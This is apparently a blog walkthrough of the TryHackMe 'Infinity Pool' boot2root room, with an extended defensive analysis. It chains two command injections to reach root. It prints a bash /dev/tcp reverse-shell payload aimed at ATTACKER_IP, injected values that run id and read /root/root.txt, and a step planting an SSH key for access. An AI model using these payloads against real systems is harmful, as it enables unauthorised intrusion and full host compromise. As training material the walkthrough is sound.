Category: CTF / Boot2Root / Web Exploitation / Linux Privilege Escalation
Platform: TryHackMe
Difficulty: Beginner–Intermediate
Key Techniques: Reconnaissance, Source Code Analysis, OS Command Injection, Reverse Shells, Internal Service Enumeration, Credential Leakage, SSH Port Forwarding, Bearer Token Discovery, Privilege Escalation
Introduction
Infinity Pool is a Linux Boot2Root challenge that demonstrates an important lesson in offensive security:
A system does not always fall because of one critical vulnerability. Sometimes several smaller security mistakes combine into a complete compromise.
The attack chain in this room includes:
Reconnaissance
↓
Hidden Endpoint Discovery
↓
Command Injection
↓
Reverse Shell as web
↓
Internal Service Enumeration
↓
Credential Disclosure
↓
SSH Port Forwarding
↓
Authentication Token Discovery
↓
Second Command Injection
↓
Root
What makes this challenge particularly useful is that every stage introduces a real-world security concept.
By the end of the walkthrough, we will have covered:
- Nmap reconnaissance
-
robots.txtenumeration - JavaScript source-code analysis
- OS command injection
- Reverse shells
- Linux internal enumeration
- Localhost-only services
- Gunicorn processes
- Credential leakage
- SSH local port forwarding
- FreePBX UCP
- Bearer token authentication
- Command injection in a privileged service
- Linux privilege escalation
- Defensive mitigation techniques
1. Reconnaissance
Every penetration test should begin by understanding the target's externally exposed attack surface.
For this walkthrough, I will use:
TARGET_IP=<TARGET_IP>
ATTACKER_IP=<YOUR_VPN_IP>
Replace these placeholders with the addresses assigned to your TryHackMe environment.
1.1 Nmap Scan
Start with a service and operating-system enumeration scan:
nmap -A -Pn $TARGET_IP -oN nmap.txt
Why these options?
| Option | Purpose |
|---|---|
-A |
Enables service detection, OS detection, default scripts, and traceroute |
-Pn |
Treats the target as online without relying on ICMP discovery |
-oN |
Saves results in normal text format |
The scan reveals two externally accessible services:
22/tcp - SSH
80/tcp - HTTP
The HTTP service is running behind Gunicorn, strongly suggesting a Python-based web application.
Because the web application exposes considerably more attack surface than SSH, that becomes our initial focus.
2. Web Enumeration
Visit:
http://TARGET_IP/
The application initially appears to be a normal hotel-themed landing page.
Nothing immediately indicates a vulnerability.
This is where basic web enumeration becomes important.
2.1 Always Check robots.txt
One of the first files worth checking on a web application is:
/robots.txt
For example:
curl http://$TARGET_IP/robots.txt
The response contains:
User-agent: *
Allow: /
Disallow: /internal/
Disallow: /status
Two interesting paths immediately appear:
/internal/
/status
Important Concept: robots.txt Is Not Security
A common mistake is treating paths listed inside robots.txt as hidden.
They are not.
robots.txt simply tells compliant search-engine crawlers which resources they should avoid indexing.
Anyone can request the file.
In security testing, entries such as:
Disallow: /admin
Disallow: /backup
Disallow: /internal
can actually become useful enumeration clues.
3. JavaScript Source-Code Analysis
Another important enumeration technique is examining client-side JavaScript.
Open the application's page source and identify referenced JavaScript files.
One interesting file is:
/static/app.js
It can also be downloaded directly:
curl http://$TARGET_IP/static/app.js
Inside the JavaScript is a developer comment similar to:
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.
This is valuable information.
We now know that:
/status
contains a staff connectivity utility that submits data to:
/internal/netcheck
This illustrates an important reconnaissance principle:
Client-side source code should always be considered publicly accessible.
Developer comments, API routes, debugging code, credentials, feature flags, and internal endpoint names frequently leak through JavaScript.
4. Investigating /status
Navigate to:
http://TARGET_IP/status
The page contains a simple connectivity checker.
Its HTML form is effectively:
<form method="post" action="/internal/netcheck">
<input
type="text"
name="host"
placeholder="property host e.g. 10.0.0.5"
>
<button type="submit">Check</button>
</form>
The interesting parameter is:
host
The application apparently accepts a hostname or IP address and performs some type of network connectivity test.
That immediately raises an important question:
Is the application passing this input into an operating-system command such as
ping?
If so, insufficient sanitization could create an OS Command Injection vulnerability.
5. OS Command Injection
5.1 What Is Command Injection?
Imagine the backend executes:
ping -c 1 <USER_INPUT>
If we enter:
127.0.0.1
the server executes:
ping -c 1 127.0.0.1
That is expected behavior.
But suppose we submit:
127.0.0.1; id
The resulting shell command becomes:
ping -c 1 127.0.0.1; id
The semicolon terminates the first command and begins another.
The server therefore executes:
id
as well.
This is command injection.
5.2 Testing the host Parameter
We can test the endpoint directly using curl:
curl -X POST \
http://$TARGET_IP/internal/netcheck \
-d "host=;id"
The application returns output containing something similar to:
uid=1001(web) gid=1001(web) groups=1001(web)
Success.
The host parameter is vulnerable to OS command injection.
More importantly, we learn that commands execute as:
web
6. Obtaining a Reverse Shell
Running commands through HTTP works, but it quickly becomes inconvenient.
A reverse shell gives us an interactive terminal.
The architecture is:
Attacker
192.168.x.x:4444
↑
│ TCP Connection
│
Target Server
Instead of our machine connecting to a shell service on the target, the target connects back to us.
6.1 Find Your VPN Address
On the attacker machine:
ip addr
or:
ip a
Identify the IP address belonging to your TryHackMe VPN interface.
Set it:
ATTACKER_IP=<YOUR_VPN_IP>
6.2 Start a Netcat Listener
Open a terminal and run:
nc -lvnp 4444
Parameters
| Option | Meaning |
|---|---|
-l |
Listen mode |
-v |
Verbose output |
-n |
Disable DNS resolution |
-p |
Specify port |
Our attacker machine is now waiting for an incoming connection on:
4444/tcp
6.3 Trigger the Reverse Shell
Send a Bash reverse-shell payload through the vulnerable host parameter:
curl -X POST \
http://$TARGET_IP/internal/netcheck \
--data-urlencode \
"host=;bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"
If everything works correctly, our Netcat terminal receives a connection.
We now have shell access as:
web
Why --data-urlencode Matters
The reverse-shell payload contains characters such as:
&
>
<
;
These characters can have special meaning inside HTTP form data or the local shell.
Using:
--data-urlencode
allows curl to encode the payload correctly before transmitting it.
7. Upgrade the Shell
The initial reverse shell usually lacks features such as:
- Proper terminal handling
- Command history
- Tab completion
- Interactive programs
- Correct Ctrl+C behavior
A quick improvement is:
python3 -c 'import pty; pty.spawn("/bin/bash")'
This creates a pseudo-terminal.
You now have a significantly more usable shell.
8. User Flag
After gaining access, check the current user:
whoami
Then inspect the user's home directory:
ls -la /home/web
The user flag is located at:
/home/web/user.txt
Read it:
cat /home/web/user.txt
Result:
THM{REDACTED}
We have completed the initial foothold.
Now the real privilege-escalation investigation begins.
9. Internal Enumeration
Once inside a host, external Nmap results are no longer enough.
Services may be configured to listen exclusively on:
127.0.0.1
These services cannot normally be reached remotely but may become accessible after compromising the machine.
9.1 Inspect Listening Ports
Run:
ss -tulnp
Several localhost-only services appear:
127.0.0.1:3000
127.0.0.1:9000
127.0.0.1:8080
127.0.0.1:5038
127.0.0.1:3306
These ports were invisible during our external Nmap scan because they were bound only to the loopback interface.
Understanding 127.0.0.1
127.0.0.1 represents the local machine.
For example:
0.0.0.0:8080
usually means the service accepts connections through every available interface.
However:
127.0.0.1:8080
means the service can normally only be reached from the same machine.
After obtaining a shell, this boundary becomes much less useful as a security control.
10. Process Enumeration
We need to determine what applications own these ports.
Start by inspecting Python and Gunicorn processes:
ps aux | grep -E "gunicorn|python"
Three particularly interesting services appear:
| Service | Port | User |
|---|---|---|
| Public Edge application | 80 |
web |
| Watchtower operations console | 3000 |
svc-watch |
| Automation job runner | 9000 |
root |
The final entry deserves immediate attention.
Automation Service → root
If we can influence that application into executing commands, those commands could potentially execute with root privileges.
11. Confirming the Privileged Service
Inspect the corresponding systemd unit:
cat /etc/systemd/system/cc-automation.service
The service configuration contains:
User=root
Group=root
This confirms that the automation application executes as the root user.
We have now identified a potentially valuable privilege-escalation target:
127.0.0.1:9000
But first, we need to understand how it is authenticated.
12. Enumerating the Watchtower Service
Another internal service is listening on:
127.0.0.1:3000
From our compromised shell, request its configuration endpoint:
curl http://127.0.0.1:3000/api/config
The API responds with JSON containing several interesting values:
{
"automation_endpoint": "http://127.0.0.1:9000",
"ops_note": "UCP still on default template creds (...) -- ROTATE.",
"telephony_pass": "<REDACTED>",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "<REDACTED>"
}
This is a serious information-disclosure issue.
We have learned:
Automation service → http://127.0.0.1:9000
Telephony portal → http://127.0.0.1:8080/ucp
Username → leaked
Password → leaked
The configuration also explicitly warns that the credentials should have been rotated.
That never happened.
13. Security Lesson: Internal Does Not Mean Safe
Developers sometimes assume:
“This endpoint is only accessible from localhost, so exposing secrets there is acceptable.”
That assumption is dangerous.
Once an attacker gains even low-privilege access to the host, localhost-only endpoints become accessible.
This challenge demonstrates why internal APIs still require:
- Authentication
- Authorization
- Secret management
- Least privilege
- Proper network segmentation
14. Accessing the Internal UCP Application
The leaked credentials point toward:
http://127.0.0.1:8080/ucp
The interface is a browser-based application.
While interacting with it entirely through curl might be possible, modern web applications commonly involve:
- Sessions
- CSRF tokens
- JavaScript
- Multiple requests
- Client-side navigation
Using the browser is easier.
But the service only listens on the target's localhost interface.
We therefore need SSH port forwarding.
15. SSH Local Port Forwarding
SSH tunneling lets us expose the target's localhost service on our own machine.
Conceptually:
Browser
127.0.0.1:8080
│
▼
SSH Tunnel
│
▼
Target
127.0.0.1:8080
15.1 Configure SSH Access
Since we already have shell access as web, we can place our own public SSH key into that account.
First create an SSH key on Kali if you do not already have one:
ssh-keygen -t ed25519
Then display the public key:
cat ~/.ssh/id_ed25519.pub
On the target:
mkdir -p ~/.ssh
Append your public key:
echo "<YOUR_PUBLIC_KEY>" >> ~/.ssh/authorized_keys
Correct the permissions:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
15.2 Create the Tunnel
From Kali:
ssh -i ~/.ssh/id_ed25519 \
-L 8080:127.0.0.1:8080 \
web@$TARGET_IP \
-N
Understanding the Command
The important part is:
-L 8080:127.0.0.1:8080
This means:
My Kali port 8080
↓
SSH tunnel
↓
Target's 127.0.0.1:8080
-N tells SSH that we only want port forwarding and do not need an interactive SSH shell.
16. Accessing FreePBX UCP
With the SSH tunnel running, open:
http://127.0.0.1:8080/ucp/
in your local browser.
Authenticate using the credentials discovered from the Watchtower configuration endpoint.
Username: <RECOVERED_USERNAME>
Password: <RECOVERED_PASSWORD>
Authentication succeeds.
17. Discovering the Automation Token
Inside the UCP dashboard, inspect the available widgets.
Add the:
Voicemail
widget.
Select the appropriate mailbox.
A voicemail exists from extension:
9000
The caller-ID metadata contains something similar to:
Automation Key <REDACTED_TOKEN>
This appears highly significant because the privileged automation application is also listening on:
9000
The value is the Bearer authentication token required by the automation API.
We have now obtained:
Automation API endpoint
+
Bearer authentication token
=
Authenticated access to root-owned service
18. What Is a Bearer Token?
A Bearer token is an authentication credential commonly sent through the HTTP Authorization header.
Example:
Authorization: Bearer TOKEN_VALUE
Anyone possessing the token may be treated as an authenticated client.
This is why authentication tokens must be protected similarly to passwords.
In this challenge, placing the token inside user-visible voicemail metadata effectively exposes the authentication secret.
19. Enumerating the Automation Service
The automation application exposes:
/jobs/export
The endpoint accepts a parameter named:
report
Internally, the service constructs a command resembling:
tar czf /var/automation/exports/<report>.tgz /var/automation/data
This design should immediately look familiar.
A user-controlled parameter is being inserted into a shell command.
That creates another potential command injection vulnerability.
There is one major difference from our first injection:
First vulnerable service → web
Second vulnerable service → root
If the second endpoint is exploitable, we can escalate directly to root.
20. Testing the Second Command Injection
Send an authenticated request to the automation service:
curl -s -X POST \
http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer <AUTOMATION_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"report":"x.tgz /var/automation/data; id #"}'
The injected portion is:
; id #
Let's break it down.
;
Terminates the original command.
id
Executes:
id
#
Comments out the remaining shell command.
The server's resulting command becomes conceptually similar to:
tar czf /var/automation/exports/x.tgz /var/automation/data; id # ...
The output contains:
uid=0(root) gid=0(root) groups=0(root)
We have achieved command execution as:
root
Privilege escalation is complete.
21. Reading the Root Flag
Because commands now execute as root, we can read:
/root/root.txt
through the vulnerable endpoint:
curl -s -X POST \
http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer <AUTOMATION_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'
The response contains:
THM{REDACTED}
Root obtained.
22. Complete Attack Chain
The entire compromise can now be summarized as:
┌─────────────────────┐
│ Nmap Recon │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ robots.txt │
│ /internal + /status │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ JavaScript Analysis │
│ /internal/netcheck │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Command Injection #1│
│ host=;id │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Reverse Shell: web │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Internal Enumeration│
│ 3000 / 8080 / 9000 │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Watchtower API Leak │
│ UCP Credentials │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ SSH Port Forward │
│ 8080 → FreePBX UCP │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Voicemail Metadata │
│ Automation Token │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ Command Injection #2│
│ Root Automation API │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ ROOT │
└─────────────────────┘
23. Vulnerability Chain
From a vulnerability-management perspective, the challenge contains several independent security problems.
| Stage | Weakness | Impact |
|---|---|---|
| Recon | Sensitive endpoints exposed through robots.txt
|
Information disclosure |
| Source analysis | Internal routes exposed in JavaScript comments | Information disclosure |
| Netcheck | Unsanitized shell input | Remote command execution |
| Watchtower | Credentials returned through API | Credential disclosure |
| UCP | Default/template credentials remained active | Unauthorized access |
| Voicemail | Authentication secret stored in visible metadata | Token disclosure |
| Automation | Unsanitized shell command construction | Command execution |
| Service permissions | Automation runs as root | Full system compromise |
The important observation is that several vulnerabilities had to be chained together.
24. Why the Attack Worked
The challenge demonstrates a recurring real-world pattern:
Minor Information Leak
+
Weak Input Validation
+
Credential Mismanagement
+
Excessive Privileges
=
Critical Compromise
No single defensive control was strong enough to stop the attack after the initial foothold.
This is why security should rely on defense in depth rather than one protection mechanism.
25. Defensive Analysis
Let's examine how each vulnerability could have been prevented.
25.1 Never Pass Untrusted Input Directly to a Shell
Unsafe Python code might resemble:
subprocess.run(
f"ping -c 1 {host}",
shell=True
)
If host contains:
127.0.0.1; id
the shell interprets the injected command.
A safer approach is:
subprocess.run([
"ping",
"-c",
"1",
host
])
Here the arguments are passed directly to the executable rather than being interpreted by a shell.
Even then, input validation should still be implemented.
25.2 Validate Hostnames and IP Addresses
If an application expects an IP address, verify that the supplied value is actually an IP address.
For Python:
import ipaddress
ip = ipaddress.ip_address(user_input)
The application should reject unexpected characters rather than attempting to sanitize arbitrary shell syntax.
25.3 Do Not Treat robots.txt as Access Control
This:
Disallow: /internal/
does not prevent a user from requesting:
/internal/
Sensitive endpoints should instead be protected by:
- Authentication
- Authorization
- Network controls
- Application-level access policies
25.4 Remove Sensitive Developer Comments
Comments such as:
// internal endpoint is /internal/netcheck
may appear harmless.
But client-side JavaScript is public.
Production builds should avoid exposing unnecessary:
- Internal architecture
- Debugging details
- Development URLs
- Secrets
- Credentials
- Administrative paths
25.5 Never Expose Credentials Through Configuration APIs
An endpoint such as:
/api/config
should not return:
{
"username": "...",
"password": "..."
}
even when bound to localhost.
Instead use a dedicated secrets-management solution such as:
- Environment variables
- Secret stores
- Vault systems
- Cloud secret managers
- Restricted configuration files
25.6 Rotate Default Credentials
The challenge explicitly demonstrates the danger of forgotten template credentials.
Default credentials should be rotated:
Immediately after deployment
not:
Eventually
A warning comment saying:
ROTATE
provides no security if nobody actually performs the rotation.
25.7 Protect Authentication Tokens Like Passwords
Bearer tokens should never appear in:
- Caller ID
- Voicemail metadata
- Debugging messages
- Application logs
- URLs
- Client-side JavaScript
- Error responses
Possession of a Bearer token may be enough to impersonate an authenticated user or service.
26. Principle of Least Privilege
One of the largest design mistakes is the automation service running as:
root
Ask:
Does creating an archive genuinely require unrestricted root privileges?
Probably not.
The service should run under a dedicated account such as:
automation
with access limited to only:
/var/automation/data
/var/automation/exports
Even if command injection were then discovered, the attacker would compromise only the restricted automation account rather than immediately becoming root.
This is the Principle of Least Privilege.
27. Important Commands Used
For quick reference:
Nmap
nmap -A -Pn TARGET_IP -oN nmap.txt
Check robots.txt
curl http://TARGET_IP/robots.txt
Test Initial Command Injection
curl -X POST \
http://TARGET_IP/internal/netcheck \
-d "host=;id"
Netcat Listener
nc -lvnp 4444
Reverse Shell
curl -X POST \
http://TARGET_IP/internal/netcheck \
--data-urlencode \
"host=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Upgrade Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Enumerate Listening Services
ss -tulnp
Enumerate Gunicorn/Python Processes
ps aux | grep -E "gunicorn|python"
Query Watchtower
curl http://127.0.0.1:3000/api/config
SSH Port Forward
ssh -i ~/.ssh/id_ed25519 \
-L 8080:127.0.0.1:8080 \
web@TARGET_IP \
-N
Test Privileged Command Injection
curl -s -X POST \
http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"report":"x.tgz /var/automation/data; id #"}'
28. Key Lessons
This room teaches several important lessons that apply far beyond CTFs.
1. Enumeration Is Often More Important Than Exploitation
The path started with simple observations:
robots.txt
↓
JavaScript
↓
Hidden endpoint
There was no need to immediately launch large automated scanners.
2. Source Code Is Part of the Attack Surface
Anything delivered to the browser should be treated as public information.
That includes:
HTML
CSS
JavaScript
Source maps
Comments
API URLs
Configuration objects
3. Internal Services Still Need Security
Binding a service to:
127.0.0.1
reduces exposure but does not replace authentication or authorization.
Once an attacker gains local access, localhost services become reachable.
4. Credential Leaks Create Attack Chains
The Watchtower API did not directly provide root access.
Instead it exposed another credential.
That credential unlocked another application.
That application exposed another secret.
That secret unlocked the root-owned automation service.
Real compromises frequently look exactly like this:
Information
↓
Credential
↓
Access
↓
More Information
↓
Higher Privilege
5. Command Injection Becomes Far Worse With Privilege
The first command injection executed as:
web
The second executed as:
root
The vulnerability class was almost identical.
The impact was completely different because of the service's privileges.
29. MITRE ATT&CK Perspective
The attack chain can also be loosely mapped to common adversary techniques:
| Activity | Technique |
|---|---|
| Web reconnaissance | Network / service discovery |
| Endpoint discovery | Application reconnaissance |
| Command injection | Command and scripting interpreter |
| Reverse shell | Command and control |
| Process enumeration | Process discovery |
| Listening-port enumeration | Network service discovery |
| Credential disclosure | Unsecured credentials |
| SSH tunneling | Proxy / tunneling |
| Token abuse | Valid authentication material |
| Root execution | Privilege escalation |
Thinking in terms of attack techniques rather than individual commands helps build transferable cybersecurity knowledge.
30. Final Attack Path
The shortest representation of the solution is:
Nmap
↓
robots.txt
↓
/status
↓
JavaScript reveals /internal/netcheck
↓
Command injection
↓
Shell as web
↓
Internal service enumeration
↓
Watchtower /api/config
↓
UCP credentials
↓
SSH tunnel → localhost:8080
↓
FreePBX UCP
↓
Voicemail leaks automation token
↓
Authenticated request to localhost:9000
↓
Second command injection
↓
ROOT
Conclusion
Infinity Pool is an excellent example of why penetration testing is fundamentally about connecting pieces of information.
The initial command injection did not immediately give us root.
Instead, we had to investigate the environment:
Find hidden functionality
↓
Exploit weak input handling
↓
Enumerate internal services
↓
Discover leaked credentials
↓
Pivot into another application
↓
Recover an authentication token
↓
Exploit a privileged backend
Each mistake on its own might have appeared relatively small.
Together, they created a complete compromise.
The biggest lesson from the challenge is simple:
Security failures compound.
A forgotten developer comment, an internal credential leak, a poorly protected token, an unsafe shell command, and an unnecessarily privileged service can transform a small foothold into total system compromise.
From a defensive perspective, the solution is equally clear:
- Validate all untrusted input.
- Avoid shell command construction.
- Protect internal services.
- Remove hardcoded and leaked secrets.
- Rotate default credentials.
- Treat authentication tokens as sensitive secrets.
- Apply least privilege everywhere.
- Assume an attacker will eventually reach internal components.
Understanding how these weaknesses connect is what turns individual vulnerability knowledge into real penetration-testing methodology.
Challenge Status
[✓] Reconnaissance
[✓] Hidden endpoint discovery
[✓] Command injection
[✓] Initial foothold
[✓] User flag
[✓] Internal enumeration
[✓] Credential discovery
[✓] Internal application pivoting
[✓] Authentication token discovery
[✓] Privilege escalation
[✓] Root flag
Tags
#cybersecurity #tryhackme #ctf #pentesting #linux #websecurity #ethicalhacking #infosec
If you're learning penetration testing, don't focus only on memorizing payloads. Focus on understanding why each step works, what information it reveals, and how that information creates the next step in the attack chain.
Happy hacking — responsibly. 🔐
Top comments (0)